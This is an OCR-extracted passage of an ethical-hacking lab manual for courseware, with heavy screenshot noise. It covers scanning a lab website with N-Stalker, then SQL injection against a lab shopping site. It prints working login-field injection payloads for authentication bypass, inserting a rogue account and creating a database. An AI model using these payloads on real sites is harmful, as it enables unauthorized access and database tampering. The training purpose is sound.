= Detect web application vulnerabilities using N-Stalker Web Application Security Scanner

Lab Environment

To carry out this lab, you need:

=  Windows 11 virtual machine
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= Windows Server 2019 virtual machine
=  Web browsers with an Internet connection

= Administrator privileges to run the tools

Lab Duration
Time: 15 Minutes

Overview of Web Application Security

Web application security deals with securing websites, web applications, and web services.
Web application security includes secure application development, input validation, creating
and following security best practices, using WAF Firewall/IDS and performing regular auditing of
a network using web application security tools.

Web Application security tools are automated tools that scan web applications, normally from
the outside, to look for security vulnerabilities such as XSS, SQL injection, command injection,
path traversal, and insecure server configuration. This category of tools is frequently referred to
as Dynamic Application Security Testing (DAST) Tools.

Lab Tasks

Task 1: Detect Web Application Vulnerabilities using N-Stalker Web
Application Security Scanner

N-Stalker Web App Security Scanner checks for vulnerabilities such as SQL injection, XSS, and
other known attacks. It is a useful security tool for developers, system/security administrators,
IT auditors, and staff, as it incorporates the well-known “N-Stealth HTTP Security Scanner” and
its database of 39,000 web attack signatures along with a component-oriented web application
security assessment technology.

Here, we will perform website vulnerability scanning using N-Stalker Web Application Security
Scanner.

1. Turn on the Windows 11 and Windows Server 2019 virtual machines.

2. Switch to the Windows Server 2019 virtual machine. Click Ctrl+Alt+Del to activate the
machine, by default, Administrator account is selected, type PaSSwoOrd in the Password
field and press Enter.

3. Navigate to the location Z:\CEHv12 Module 14 Hacking Web Applications\Web
Application Security Testing Tools\N-Stalker Web Application Security Scanner and
double-click NStalker-WebSecurityScanner-FreeX-b34.exe.

4. The Installer Language pop-up appears; leave the language set to default and click OK.
Note: If an Open File - Security Warning pop-up appears click Run.

5. The N-Stalker Web Application Security Scanner setup window appears; click Next.

6. Follow the installation wizard to install the application using all default settings.

CEH Lab Manual Page 1694 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Module 14 - Hacking Web Applications

7. The Completing the N-Stalker Web Application Security Scanner Setup wizard appears.
Ensure that the Run N-Stalker Web Application Security Scanner checkbox is selected,
uncheck the Show Readme checkbox, and click Finish.

= danage SRS | & ||
Home Share View Application Tools
- 2 « Web Application Secunty Testing Tools » N-5talker Web Application Secunty Scanner v Search N-Stalker Web Applica.. P
Mame | Date modified Type SiZE
w Quick acceds
€4 NStalker-WebSecuntyScanner-FreeX-b34,,.  7/2/2027 502 AM Application 11 539K8
B Desktop 4 ‘ s
< Downloads ¢
= Documents " €J N-Stalker Web Application Security Scanner 10.14 (Free Editio.. - X
»  Pictures o . .
~ N_Sta"@' Completing the N-Stalker Web
S This PC s e .  Application Security Scanner
Setup Wizard
¥ Network N-Staker Web Application Security Scanner has been

retaled on your computer,

Chick Fnsh to close s wazard

(A Run N-Staker Vieb Applcation Security Scannes

Free Edition

8. The N-Stalker Web Application Security Scanner main window appears; click the
Update button under the N-Stalker Update Status section.

"5 nmw S — 4 x
L N-Staker Scannes >can Options -
' " el f -
O '’ N @& = o @ C | &
Start Polcy Global Re=por Macro Vet HTTE Brude Web Encoder GHDB HTTP Load Upcate A bout
Ednior Cpoonsg Manager wecorar “TOXY Force DB COvery o0l oo Tester Manager N-Staker
PCan 53800 | Scan Toois Wacedancous Tools dh Abost

r

._-_‘..1. -','\ [ " = > - -
. | ’l C il I\el N-Stalker Free Edition
Vermion X - Build 10.14.1.34

ER S L] ¥ S

RTHE WEH

Web Security Intelligence Service

Service will expire on : Current Status

Update Settings
v Check avalable updates upon scannes nbaicaton
Enabie automabc updates upon SCanner inmakzaton

N Stalker Update Status

Name Version Status A
) Google “aciong Database Nore Need Update
. nslakerServersDb Free None Need UpCate
. rd-Party Packages Free DB None Need Update
/. N-Stalker Threats Free DB 20° None Need Updata
Cooke Assessment Wodule F None Need Updale
| Beckup Finder Free 2012 Nore Need Update
| Sensiive Files Finder Free 20 None Need Updale
Wiaklloil tesassmant Lras 7 LUn~a Llasd  r-abts .4
Update
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9. If an N-Stalker Free Edition pop-up appears, click OK to continue.

10. N-Stalker will start updating the database. After the update is complete, observe that
the status of all the databases is Up to date under the Status column, as shown in the

_ TR e T - n x
M N-Staker Scanner Scan Oplions L’
SN w9 = 2 %8 ¢c B K
i . ;
O & N W | N - |
Siant Poicy Global Report Macro || Web HTTP Brute Vieb Encoder GHDB WTTP Load Update A bt
Ednor Dptons Manzgar Hecordar J Promy Force D&ecovery Tool Tool Tester Manager N-Staker
N Sess0n Scan Tools Wscedancous Toos . ADbout -

r

\ |- r]“\rer N-Stalker Free Edition
' Viamion X - Bulkd 10.14 1 34
1 - I i 1 |.I 4

*l"t .Ill'l I‘ s Y L

Web Security Intelligence Service

Service will expire on : Current Status

Update Settings
v Check avalable updates upon scanner nbalzaton

Enable automatc updates upon scanner inmakzation

Version Status
Google “acong Database 10101501 Up 10 date
nstakerServersDS Free 13080201 Up 10 date
Ard-Party Packages Free DB 20100201 Up 1o date

N-Stalker Threats Free DB 20 16051201 Up 1o date

Cooke Assessment Nodule F 18040201 Up 1o date
1 Backup Finder Free 2012 14032401 Up 10 date
Sensdive Files Finder Free 20 14080801 Up to date

md - - - * F

11. Now, click Start from the toolbar to start a new scanning session.

{ ‘ Sha " " H - ~ "
' N-Staker Scanner Scan Oplicns L
L s @ = 2 4 ¢ IR »
i ' »
o - -..__}r a | . - . . . ‘
“tart Holcy Global Repor ifacro Vieb HTTP Brule Vieb Encoder CGHDB HWTTP Load Updat= About
Editor Optons Manager Recorder || Proxy Force D& Coveny Tool Tool Tester Manager | N-Staker

SCan Sesaon Scan Tools l _ Uscelansous Tools " Apoud

-

<€ N QG i)
L -bw| |\Cl N-Stalker Free Edition
I \ Vversion X - suika 10.14.1 34

Web Security Intelligence Service

Service will expere on : Current Status

Update Settings
v Check avalable upaates upon scanner nibaizaton
| Enable automatc updates upon scanner mmalzathon

M Stalker Update Status

] Name Version ‘ Status -' A
'. Googie “acing Database 10101901 Up 1o date
nstakerServersDE Free 13090201 Up 1o date
Yrd-Party Packages Free DB 20100201 @p fo date
N-Stalker Threats Free DB 20 16051201 Up 10 date
Cooke Assessment Vodule F 18040201 Up ‘o date
| Backup Fnder Free 2012 14032401 Jp 1o date
Sensilive Files Finder Free 20 14080801 Up lo date

Wiakol Aesassrmant Leras 2 14000404 iln sp dase b
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12. The N-Stalker Scan Wizard appears. Under the Enter Web Application URL field, enter
http://www.moviescope.com and under Choose Scan Policy field, select OWASP Policy
from the drop-down list; click Next.

RS RS M =

N-Slaker Scanner Scan Oplions
g - L ‘* -
o 8/ 0\ @ =I T % c B QO »
’m m Falcy Global Repor Macro | Vimh HTTP Brude Web tncoder GHOB 2 MWITP Load Jpaale Apout
Editor Copbtons Manager Recorder Proxy Force DEcovery Teol Tool Tester Manager N-Staker
[Scan Sesson Scan Toois VUncedaneous Toois Abaat

e e e —

-

= : [ M-Stalker Scan Wizard

X

N-Stalker Free Edition

Start Web Application Security Scan Session e Pt o
You must enter an URL and choose policy Scan Sethngs may be configured.

Enter Web Application URL

: 5 E hilp 'www. movies cope com

(.5 M Veww sxampls i, Mips Jeww tedl WVinuaDwsciory’ #ig)
Scen both HTTP and HTTPS iocatons  [] Do not test web authenticabon forms

vt
| Choose Scan Policy
- Choose URL & Policy
. ' | IOWASE Polc -
Optimze Settngs e
Load Scan Session
Ravew Summany
Start Scan Sesson B o) I

(You may load ecan settings from prev usly Raved 23N ceEsionsg)

Load 5pider Data

CYou muy load speder data Do previously ssced soat sessone)

...l..ll._-;-- .l.,:.i... | . J.I"l.-l.; il s B b i i

13. The Optimize Settings wizard appears; leave the default settings and click Next.

R N | -

h-Slaker Scanner Scan Qptions

Ol a0 NV (9= T & cH Q@ »

il

Stadt Poicy Glabal Report ltacro Vieb MTTP Brute Vi'=b Encoder GHDB MWTTP Load Updale About
canor Uptonsg Manager Wecorier roxy Force UBCOvVETy To0l Tool Taster Manager N-Staker
Wscedanesus Toois Abaut ol

Eg;pns«e:smn . Em Tonis

A bt N-5talker Scan Wizard
FH 5

il

8l N-Stalker Free Edition

Varsion X - Buikd 10.14.1. 24
FiiE W ‘ Start Web Application Security Scan Session
You must enter an URL and choose policy. Scan Setbngs may be configured.
Optimizing Settings
s 3 e
(You may Chache 10 MUt & senks of WdEls 1O albw for osptmaatons o chon Next 15 Sonbidus)
Optimize Resulls  Aulhentication ' False Posifive Engine Miscelaneous =t
Choose URL 8 Polcy Optirmization Progress
Optimize Settings 0%
Revew Summary d o
Start Scan Sesson Optimization Resuits
X fer Rale Avg Response Conn Falures
Scon Sethngs Optimize << Back Cancel
“TEIE ~ 0 .'._' - T —— = P " | W

14. If a Settings Not Optimized pop-up appears, click Yes.
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15. The Review Summary wizard appears. Verify the Scan Settings and click Start Session.

Shi bt b A
AV

N-Slaker Scanner

Scan Ogtions

vV 0=l & § ¢l

S

Q o

Gilobal R=pori Macro Vi=b HTTP Brute Vi'=t Encoder GHDB NHTTP Load Jpdale About
Cptone Manager Recorder oroacy Force DsCcovery Yool Tool Tester Manager N-Staker |
Scan Toots Wacedancous Toois About I

:) l' N-Stalker Scan Wizard

-

S

|

‘You musi enter an URL and choose policy Scan Sethngs may be configured.

8l N-Stalker Free Edition

Review Summary

¢ Polcy Name

* Spider Engine
3 HTML Parser

* Alowed Hosis

Scan Sethngs

» Restricied Dweclory Nol configured

» False-Posilive Seltings  Enabled for Wulliple Extensons. Enabled for 404 pages. Ci
@ New Server Dmcovery Enabled (recommended n most cases)

¢ Server Technologes P A

E D [y CSOne |
Scanning Settings wid
Scan Setting vaiue | 2]

¢ Host information P [10.10.1.19] Pont: [80] SSL: [no]

OWASP Polcy

Max URLs: [S00] Max Per Node [30] Max Depth [0
IS: [ignore] External JS [Deny] JS Events [Execute] SWF [F

Nao addbional hosts configured v

<« Back Cancel ,mml

16. If an N-Stalker Free Edition pop-up appears; click OK to continue.

17. After completing the configuration of N-Stalker, click Start Scan from the menu bar to
begin scanning the MovieScope website.

y \'\ _ | v
A S

Thesass

‘4 Starn Proxy
ki,

| 3
= Ciose Session - '

Scan Options

4 Engine & Crawler Seltings -

| Session Mgnt & Flers *
Sesson Controd || Threads Control; Spaer Cantrol

i .
-, Timeout |15

| S Encode URI(WAF)
== URL Restricton Settings * ||

g-} HTTP Settings -
o 2 Controi Ogtions =
& Track Spger
il
| Fo Fi
»| | WosbugHTIP || = FP Keyword Fiter

WTTF Control I| Faise-Postive Contros

URL
bty

Tree

A
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18. N-Stalker begins to scan the website. It goes through various steps such as Step 1
Spider, Step 2 Info Gather, Step 3 Run Modules, and Step 4 Sig Scanner, as shown in
the screenshot.

= mn - — .
N-Staker Scanner >can Options

4 Engine & Crawler Seltngs - Aoz HTT# Selbings *

G} Encode URI (WAF) 2 Controt Options -

-= URL Reetriction Setlings - i Track Spides

hreads 9

& FP Keyword Fiter

= .
Tmeout (15
o, Close Session || ™ =1 || =| Session Mymt & Fillers ~ H - s — ‘ Debug HTTP ~
Session Controd || Threads Contral| | Spoer Control HTTF Control || Faise-Postive Control
hm" T PORLICY | - THRELDS
Ecbite Tree ‘ S e 1 S50 |
E} -:h Mito M'ww w . roviescope O fﬂ ccanner PW!-! Status
in| Dashboard Stop 1
1 Sie Sequence ~ Spider
i Alowed Hosts
N Repcted Mosts Progress Detasls
) Objects
- 4 Cookies Scan Session 14D~
= Scrpts Start Time Jul 8, 2022 06 21.09
— Commenis Duration 0 Hours 0 Minutes 100-
] Web Forms .
{7] E-mais Spides Engine - | 80-
& Broken pages Crawled URLs !
. Hidden Fieids Crawiked Hosts ! LR T S
., nformation Leakage (1) e . Hgh(®) Mid({9) Low() Wie(9)
P — Scan Engre ' Network * 1
Tolal Requests 4 Byles Senl 1,172
Failed Requests 0 Byles Recened 19,224
Attacks Sert 2 Avg Response Time 0013
404 Errors 2 Avg Transter Rate 7.02 Mb's
302 Redrection 0 RequesieMnate 0
< >
'+ N-Stalker Spider Module 0 2 0%
i« > “¥ Scan Modules | @ Components | Scan Events ||\ | Moduie Events

19. It takes some time for the application to scan the entire website; on completion of the
scan, the Results Wizard appears.

20. Ensure that the Save scan results radio button is selected under the Session
Management Options section; and under the Next Steps section, select the Keep scan
session for further analysis radio button and click Next.

Results Wizard »

b B scan Session has finished successfully.
N-Staiker found 8 vuinerabilities

Session Management Options -
¢ Save scan resuls

' Uscard scan resuls

Next Steps
Total Scan Time

0 Hour(s) 3 Minute(s) Ciose scan 828500 and refurm 10 man screen

(3) Keep scan session for further analyss:
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21. N-Stalker displays a summary of the vulnerabilities found. After examining the summary,
click the Done button.

N-Statker found 8 vinerabilities

Summary

IM———._ . E_. ! | ﬁ
Total Web Pages

rah Vuherabiities
Medum Vuherabdhes
Low Vunerabires
Scan Time nto Vuneradires

0 Hour(s) 3 Minute(s) Total Hosts Found
Total HTTP Cookes

Total Vulnerabilities Total Directones Found
Hgh Total Web Forms Found
Medwm Total Password Forms
Low : Total E-mails Found
Info - Total Clent Scripls

| Total HTML Comments :

Your request has been successfully processed.

O N OO MNODO-==0) D WO D

22.In the left pane, expand all the nodes and sub-nodes of the URL
http://www.moviescope.com/ under the Website Tree section. This displays the
website’s pages.
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Module 14 - Hacking Web Applications

23. You can view the complete scan results in N-Stalker’s main dashboard.

24. Now, click to expand the URL http://www.moviescioe.com/ under Vulnerabilities in
the Scanner Events section to view all the site’s vulnerabilities.

- 2 " v ——— ﬁ ):
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8 LOBe >883101
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25. Expand any of the discovered vulnerability nodes and any of the sub-nodes associated
with it. Here, we are expanding the first vulnerability, Application might be vulnerable
to clickjacking attacks.

Note: If you decide to scan some other website for vulnerabilities, the results might
differ in your lab environment.

26. After expanding each of the sub-nodes associated with the selected vulnerability node,
Application might be vulnerable to clickjacking attacks, click on #8.
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(-] ste Tree ~ Sile Segu=nce Gereral [nfo clickjacklng attacks
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= » E-mais » Post Data : N/A
.| modermizr js »° Broken pages (1
—| SCrpLis Hidder Fieids -
Information Leakage (£) * Why is it an issue?
9 Vuinerabibes
S 15 hHp Swww movescope comy N-Stalker has found your system I1s wuinerabdle to chickjacking
=% Appication might be vulnerabie fo attack which allows malicous users o manipulate leghimate
=8 / user interacbions wathin your application.
=
=% Muliple Cross-sie request forgen
=-- &% Web form alows password cachi
=% Possible uncommon HTTF method
< -§ Weabserver wil disciose platform ¢
W Webserver wil discioss piatform¢ v
- >
Scan Module Current Total Pl‘ogl"ll'l ~
Senslive Fles Search Assess 1 |58 0 %
VebServer infrastructure Ass 4 5 80 %
Jrd.Party Package Scanner 185 189 36 %
N-Stalker Spoer Module 7 ] 100 % N
< > 4% ScanModules | B Components | =] Scan Events | [ e Fvents

Stelus Scan sesson successfuly completed

= o H 6 m 9o 8 A de soo, T

. el it

27. The Vulnerability Information section appears in the right pane of the window,

displaying detailed information regarding the discovered vulnerability such as Severity,
Vulnerability Class, and References.

28. Further, you can navigate to various available options such as General Info, Details and
Fix, Browser Details, HTTP Request, and HTTP Response, under the Vulnerability
section of the Vulnerability Information pane.
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29. You can further use this information to patch or fix the discovered vulnerabilities on the
target website.

30. This concludes the demonstration of how to perform web application vulnerability
scanning using N-Stalker Web Application Security Scanner.

31. Close all open windows and document all the acquired information.

32. Turn off the Windows 11 and Windows Server 2019 virtual machines.

Lab Analysis

Analyze and document the results of this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO THIS LAB.

Internet Connection Required

M Yes

Platform Supported

V] Classroom
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SQL Injection

SQL injection is a technigue that takes advantage of input vulnerabilities to pass malicious SQL
commands through a web application for execution by a backend database.

Lab Scenario

SQL injection is the most common and devastating attack that attackers can use to take control
of data-driven web applications and websites. It is a code injection technique that exploits a
security vulnerability in a website or application’s software. SQL injection attacks use a series of
malicious SQL (Structured Query Language) queries or statements to directly manipulate any
type of SQL database. Applications often use SQL statements to authenticate users, validate
roles and access levels, store, obtain information for the application and user, and link to other
data sources. SQL injection attacks work when applications do not properly validate input
before passing it to a SQL statement.

When attackers use tactics like SQL injection to compromise web applications and sites, the
targeted organizations can incur huge losses in terms of money, reputation, and loss of data
and functionality.

As an ethical hacker or penetration tester (hereafter, pen tester), you must possess sound
knowledge of SQL injection techniques and be able protect against them in diverse ways such
as using prepared statements with bind parameters, whitelist input validation, and user-
supplied input escaping. Input validation can be used to detect unauthorized input before it is
passed to the SQL query.

The labs in this module give hands-on experience in testing a web application against various
SQL injection attacks.

Lab Objective

The objective of this lab is to perform SQL injection attacks and other tasks that include, but are
not limited to:

= Understanding when and how web applications connect to a database server in order to
access data

" Performing a SQL injection attack on a MSSQL database
" Extracting basic SQL injection flaws and vulnerabilities

= Detecting SQL injection vulnerabilities

Lab Environment
To carry out this lab, you need:
=  Windows 11 virtual machine
= Parrot Security virtual machine

= Windows Server 2019 virtual machine
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= Web browsers with an Internet connection

= Administrator privileges to run the tools

Lab Duration
Time: 60 Minutes

Overview of SQL Injection

SQL injection attacks can be performed using various techniques to view, manipulate, insert,
and delete data from an application’s database. There are three main types of SQL injection:

* |In-band SQL injection: An attacker uses the same communication channel to perform
the attack and retrieve the results

* Blind/inferential SQL injection: An attacker has no error messages from the system with
which to work, but rather simply sends a malicious SQL query to the database

* Out-of-band SQL injection: An attacker uses different communication channels (such as
database email functionality, or file writing and loading functions) to perform the attack
and obtain the results

Lab Tasks

Ethical hackers or pen testers use numerous tools and techniques to perform SQL injection
attacks on target web applications. The recommended labs that will assist you in learning
various SQL injection techniques include:

Self- CyberQ

Lab Exercise Name Core® — i
1 | Perform SQL Injection Attacks \ \ \
1.1 Perform an SQL Injection Attack on an MSSQL N J
Database
1.2 Perform an SQL Injection Attack Against MSSQL K J
to Extract Databases using sqlmap
) Detect SQL Injection Vulnerabilities using Various SQL J J J
Injection Detection Tools
2.1 Detect SQL Injection Vulnerabilities using DSSS \ \
2.2 Detect SQL Injection Vulnerabilities using J y
OWASP ZAP
Remark

EC-Council has prepared a considered amount of lab exercises for student to practice during the 5-day class and at their free
time to enhance their knowledge and skill.

*Core - Lab exercise(s) marked under Core are recommended by EC-Council to be practised during the 5-day class.

**Self-study - Lab exercise(s) marked under self-study is for students to practise at their free time. Steps to access the
additional lab exercises can be found in the first page of CEHv12 volume 1 book.
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*¥**CyberQ - Lab exercise(s) marked under CyberQ are available in our CyberQ solution. CyberQ is a cloud-based virtual lab
environment preconfigured with vulnerabilities, exploits, tools and scripts, and can be accessed from anywhere with an
Internet connection. If you are interested to learn more about our CyberQ solution, please contact your training center or visit

https://www.cyberq.io/.

Lab Analysis

Analyze and document the results related to this lab exercise. Give an opinion on your target’s
security posture.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO THIS LAB.
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Perform SQL Injection Attacks

In SQL injection attacks, a series of malicious SQL queries or statements are used to manipulate
the database of a web application or site.

Lab Scenario

SQL injection is an alarming issue for all database-driven websites. An attack can be attempted
on any normal website or software package based on how it is used and how it processes user-
supplied data. SQL injection attacks are performed on SQL databases with weak codes that do
not adequately filter, use strong typing, or correctly execute user input. This vulnerability can
be used by attackers to execute database queries to collect sensitive information, modify
database entries, or attach malicious code, resulting in total compromise of the most sensitive
data.

As an ethical hacker or pen tester, in order to assess the systems in your target network, you
should test relevant web applications for various vulnerabilities and flaws, and then exploit
those vulnerabilities to perform SQL injection attacks.

Lab Objectives

"  Perform an SQL injection attack on an MSSQL database

* Perform an SQL injection attack against MSSQL to extract databases using sqlmap

Lab Environment
To carry out this lab, you need:
=  Windows 11 virtual machine
=  Windows Server 2019 virtual machine
= Parrot Security virtual machine
= Web browsers with an Internet connection

= Administrator privileges to run the tools

Lab Duration
Time: 40 Minutes
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Overview of SOQL Injection
SQL injection can be used to implement the following attacks:

= Authentication bypass: An attacker logs onto an application without providing a valid
username and password and gains administrative privileges

= Authorization bypass: An attacker alters authorization information stored in the
database by exploiting SQL injection vulnerabilities

= |Information disclosure: An attacker obtains sensitive information that is stored in the
database

= Compromised data integrity: An attacker defaces a webpage, inserts malicious content
into webpages, or alters the contents of a database

= Compromised availability of data: An attacker deletes specific information, the log, or
audit information in a database

= Remote code execution: An attacker executes a piece of code remotely that can
compromise the host OS

Lab Tasks
Task 1: Perform an SQL Injection Attack on an MSSQL Database

Microsoft SQL Server (MSSQL) is a relational database management system developed by
Microsoft. As a database server, it is a software product with the primary function of storing
and retrieving data as requested by other software applications—which may run either on the
same computer or on another computer across a network (including the Internet).

Here, we will use an SQL injection query to perform SQL injection attacks on an MSSQL
database.

An SQL injection query exploits the normal execution of SQL statements. It involves submitting
a request with malicious values that will execute normally but return data from the database
that you want. You can “inject” these malicious values in the queries, because of the
application’s inability to filter them before processing. If the values submitted by users are not
properly validated by an application, it is a potential target for an SQL injection attack.

Note: In this task, the machine hosting the website (Windows Server 2019) is the victim
machine; and the Windows 11 machine will perform the attack.

1. Turn on the Windows 11 and Windows Server 2019 virtual machines.

2. Switch to the Windows 11 virtual machine. Click Ctrl+Alt+Del, by default, Admin user
profile is selected, type PaSSwOrd in the Password field and press Enter to login.

Note: Networks screen appears, click Yes to allow your PC to be discoverable by other
PCs and devices on the network.

3. Open any web browser (here, Mozilla Firefox), place the cursor in the address bar, type
http://www.goodshopping.com/, and press Enter.
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4. The GOOD SHOPPING home page loads. Assume that you are new to this site and have
never registered with it; click LOGIN on the menu bar.

GoodShopping X + = O X
C W =
% Favorites
GOOD SHOPPING

PRODUCT CATALOG CONTACT US

Customer Loyal — 2 Worldwide 24/7 Technical P

5. In the Username field, type the query blah' or 1=1 -- as your login name, and leave the
password field empty. Click the Log in button.

GoodShopping X + == O X

w @ =

&« > C O & www.goodshopping.com/#

biarort=1-
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6. You are now logged into the website with a fake login, even though your credentials are
not valid. Now, you can browse all the site’s pages as a registered member. After
browsing the site, click Logout from the top-right corner of the webpage.

GoodShopping X +- - W
4
< C O & Nww.goodshopping.com/index.asp Y =

# Favorites
G OOD SHOPPING

CONTACT US ltems 2 $ 1650.00 -
S Vv ' - | : :.":__ -
': -t | b + & L& -

|
L]
-
- e
i

}»

T

i L,
1:

i ‘I-
&
S
|

%4
R

Customer Loyalty el Worldwide p= 24/7 Technical P

Note: Blind SQL injection is used when a web application is vulnerable to an SQL
injection, but the results of the injection are not visible to the attacker. It is identical to a
normal SQL injection except that when an attacker attempts to exploit an application,
rather than seeing a useful (i.e., information-rich) error message, a generic custom page
is displayed. In blind SQL injection, an attacker poses a true or false question to the
database to see if the application is vulnerable to SQL injection.

7. Now, we shall create a user account using the SQL injection query. Before proceeding
with this sub-task, we shall first examine the login database of the GoodShopping
website.

8. Switch to the Windows Server 2019 virtual machine.

9. C(lick Ctrl+Alt+Del to activate the machine. By default, Administrator user profile is
selected, type PaSSwOrd in the Password field and press Enter to login.

Note: Networks screen appears, click Yes to allow your PC to be discoverable by other
PCs and devices on the network.

Note: In this task, we are logging into the Windows Server 2019 machine as a victim.
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10. Click the Type here to search icon in the lower section of Desktop and type microsoft.
From the results, click Microsoft SQL Server Management Studio 18.

Recycle Bin

D @ Filters ~

Best match

1 Microsoft SQL Server Management Studio 18
Desktop app

L

Apps

& Microsoft Azure Services
Paint
Internet Explorer
Windows Media Player
s Analysis Services Deployment Wizard 18
Settings
A= Manage your account
Typing settings
Check for updates

Windows Update settings

Turn Narrator on or off

0 micruﬂc}fd JL Serve
1:59 AM

m P 5 €6 m’m o 6 T % 4opon

11. Microsoft SQL Server Management Studio opens, along with a Connect to Server pop-
up. In the Connect to Server pop-up, leave the default settings as they are and click the
Connect button.

1 F = B d ar -l i1
_4¢ Microsoft SQL Server Management Studio (Administrator) Quick Launch |

File Edit View Project Tools Window Help

ffi' 2 v & m _EEJ MNew QUET}’ i% ﬁ‘ n@ INLA DAX x: :ﬁ = & m ﬁ ﬂ =
Object Explorer v . ;;ﬂ Connect to Server
Connect~ ¥

SQL Server

Server type: Database Engine

Server name: SERVER2019\SQLEXPR

Authentication: Windows Authentication

SERVER 2015\ Administrs
- — ¥ e b B 3 Tl
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12. In the left pane of the Microsoft SQL Server Management Studio window, under the
Object Explorer section, expand the Databases node. From the available options,
expand the GoodShopping node, and then the Tables node under it.

13. Under the Tables node, right-click the dbo.Login file and click Select Top 1000 Rows
from the context menu to view the available credentials.

Quick Launch (Ctrl+Q)

._‘:; Microsoft SQL Server Management Studio (Administrator)
File Edit View Project Tools Window Help

:?‘:B' - & w;u%NEWQUEWh%@nﬁ:ﬁMI| | ;. y | > | "Eﬁélﬂ’;
| Execute | | | |

Object Explorer v 1 X
Connect~ ¥ ¥ ¢ M
- @ SERVER2019\SQLEXPRESS (SQL Serv A

3 System Databases
+ Database Snapshots
# @ DWConfiguration
4 W DWDiagnostics Table...
[+ DWQueue DESigﬂ
l: e GnndShnppmgl Select Top 1000 Rows
+ atabase Uiag
Edit Top 200 Rows
& System Ta Script Table as
= Fielsbles View Dependencies
+ External T2
P Gtk Tak Memory Optimization Advisor
£:f:::] dbo.Login Encrypt Columns...
¥ Views
3 External ResoL Full-Text index ’
£ I Synonyms Storage ;
+ Programmabi
¥ Service Broken Stretch »
g Stnrage Policies »
- Security
# @ moviescope Facets
+ Security Start PowerShell
- Server Objects
¥ Replication Reports ’
+ PolyBase R
+ Management
% {¥] XEvent Profiler Delete
*'- Refresh

7 Ready Properties

S5 € Il o P
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14. You can observe that the database contains only one entry with the username and
password as smith and smith123, respectively.

_4¢ SQLQueryl.sql - SERVER2019\SQLEXPRESS.GoodShopping (SERVER2019\Administrator (56)) - Microsoft SQL Server Manageme,., 2/ck Launch (Ctrl+C]
File Edit View Query Project Tools Window Help

00 |8 0-2HP ANwaey EREQAR  XIPO|(2-C- R - o - mEeEE-.
?iéﬁiﬁlﬁnnd%npping '|PE!EEH1:E = JE’EEQ|E’EEE@|EE£|'§“§ =§§=|¥;

Object Explorer LI Ol SQLQueryl.sql - SE...Administrator (56)) & X
fre*=*** Script for SelectTopNRows command from SSMS ***=*= /
=ISELECT TOP (1000) [loginid]
, [username]
, [password]
FROM [GoodShopping].[dbo].[Login]

= @ SERVER2019\SQLEXPRESS (SQL Serv A
= ¥ Databases
# B0 Systemn Databases
# & Database Snapshots
@ W DWConfiguration
@ g DWDiagnostics
4 @ DWQueue
= i GoodShopping
@ ¥ Database Diagrams
= B8 Tables
¥ B0 System Tables
@ BN FileTables
# ' Bdernal Tables
# BN Graph Tables
# EH dbo.Login
- Views
- External Resources

&

&

. Synonyms
" Programmability

o

[+

0 Service Broker
I Storage
& B0 Security

@ @ moviescope

=

+]

@ B Security

# & Server Objects
# B Replication
# 0 PolyBase

# 0 Management
& %] XEvent Profiler

@) Query executed successfully. SERVERZ019\SQLEXPRESS (14.0... = SERVER2019\Administrat... GoodShopping 00:00:00 1 rows

In (ol 1 Chi INS

15. Switch back to the Windows 11 virtual machine and go to the browser where the
GoodShopping website is open.

16. Click LOGIN on the menu bar and type the query blah';insert into login values
(‘john','apple123’); -- in the Username field (as your login name) and leave the
password field empty. Click the Log in button.

GoodShopping X -+ — ! ™

1

< C O 8 www.goodshopping.com/login.aspx# 7

blah’insert into login values (john''s

Password
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17. If no error message is displayed, it means that you have successfully created your login
using an SQL injection query.

18. After executing the query, to verify whether your login has been created successfully,
click the LOGIN tab, enter john in the Username field and apple1l23 in the Password
field, and click Log in.

GoodShopping X + = T e

= O O & O ..4.-,.-u-.-.-.gnndshnpping.cnm_u'h:ugirﬂ..azpza# ﬂ’ ©

19. You will log in successfully with the created login and be able to access all the features
of the website.

Note: In the Save login for goodshopping.com? pop-up, click Don't Save.

20. After browsing the required pages, click Logout from the top-right corner of the

webpage.
GoodShopping x - i = W
< C O & www.goodshopping.com/index.asps < ® =
# Favorites & Logout
OO0OD SHOPPING

HOME PRODUCT CONTACT US tems 2 $ 1650.00 ™ Your Cart
<~ 3 - - - - =0 ' oorery |

21. Switch back to the victim machine (Windows Server 2019 virtual machine).

22. In the Microsoft SQL Server Management Studio window, right-click dbo.Login, and
click Select Top 1000 Rows from the context menu.
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23. You will observe that a new user entry has been added to the website’s login database
file with the username and password as john and applel23, respectively. Note down
the available databases.

4 SQLQuery2.sql - SERVER2019\SQLEXPRESS.GoodShopping (SERVER2019\Administrator (58)) - Microsoft SQL Server Manageme... (uick Launch (Cirl= ()
File Edit View Query Project Tools Window Help

00 (B u-2 P BNvauey ERIRBI NI 2-C B | -l mEeEE-.
© ¥ ™| GoodShopping - P EBete » vEEBE|FER BED| =E x| 0.

Ubject Explorer o Bl SOLQuery2.sql - SE..Administrator (38)) + X R Re g R e e T T L)
Connect ~ ¥¥ 0 7 ¢ M Script for SelectTopNRows command from SSMS

- =ISELECT TOP (100@8) [loginid]
= @ SERVER2019\SQLEXPRESS (SQL Serv A , [username]

= ¥0 Databases , [password]
& I System Databases _ FROM [GoodShopping].[dbo].[Login]
] Database Snapshots
= W DWConfiguration
+ W DWDiagnostics
[+ ﬁ DWQueue
= W GoodShopping
& I Database Diagrams
= Tables

@ B System Tables

@ 1 FileTables
& 1 Bxternal Tables
@ 0 Graph Tables 100% -~

# B dbo.Login
i J EH Results Eﬁ Messages

i 10 External Resources loginid Snctataumiin password
I Synonyms 5 | smi smith 123
Programmability john apple123
# I Service Broker
3 § Storage
& B Security
# W moviescope

| B0 Security

| B8 Server Objects

| B8 Replication

| B0 PolyBase

| ¥ Management
H E XEBEvent Profiler
SERVER2019\SQLEXPRESS (14.0... SERVER2019\Administrat... GoodShopping 00:00:00 2 rows

Cal Ch 1 INS

24. Switch back to the Windows 11 virtual machine and the browser where the
GoodShopping website is open.

25. Click LOGIN on the menu bar and type the query blah';create database mydatabase; --

in the Username field (as your login name) and leave the password field empty. Click the
Log in button.

26. In the above query, mydatabase is the name of the database.

GoodShopping

& - www.goodshopping.com/login.aspx#

blah',create database mydatabase, b 4
L]
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Module 15 - SQL Injection

27. If no error message (or any message) displays on the webpage, it means that the site is
vulnerable to SQL injection and a database with the name mydatabase has been
created on the database server.

